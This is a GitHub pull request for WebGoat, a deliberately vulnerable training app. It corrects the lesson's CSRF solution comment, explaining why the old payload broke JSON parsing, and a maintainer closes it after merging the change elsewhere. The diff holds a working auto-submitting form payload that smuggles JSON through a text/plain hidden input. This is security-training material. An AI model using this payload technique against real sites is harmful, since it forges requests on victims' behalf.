Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Conversation

@GoogTech
Copy link
Contributor

The original solution is invalid because it constructs one request data of {name: "Test", email: "[email protected]", subject: "service", message: "dsaffd"}= which isn't valid JSON format, moreover it will cause the backend throw exception, such as 'com.fasterxml.jackson.core.JsonParseException: Unexpected character ('=' (code 61)): ......

The original invalid solution:

-  /**
-   * Solution <form name="attack" enctype="text/plain"
-   * action="http://localhost:8080/WebGoat/csrf/feedback/message" METHOD="POST"> <input
-   * type="hidden" name='{"name": "Test", "email": "[email protected]", "subject": "service",
-   * "message":"dsaffd"}'> </form> <script>document.attack.submit();</script>
-   */

The new valid solution:

+  // Solution:
+  // <form name="attack" enctype="text/plain" action="http://localhost:8080/WebGoat/csrf/feedback/message" METHOD="POST"> 
+  //     <!-- Construct valid JSON data: {name: "HackHuang", email: "[email protected]", subject: "suggestions", message: "Fixed the invalid solution="} -->
+  //     <input type="hidden" name='{"name": "HackHuang", "email": "[email protected]", "subject": "suggestions","message":"Fixed the invalid solution', value='"}'>
+  // </form> 
+  // <script>document.attack.submit();</script>

@nbaars
Copy link
Collaborator

nbaars commented Jan 26, 2025

@GoogTech thanks for the PR, closing this one since I've merged your changes with #2010

@nbaars nbaars closed this Jan 26, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants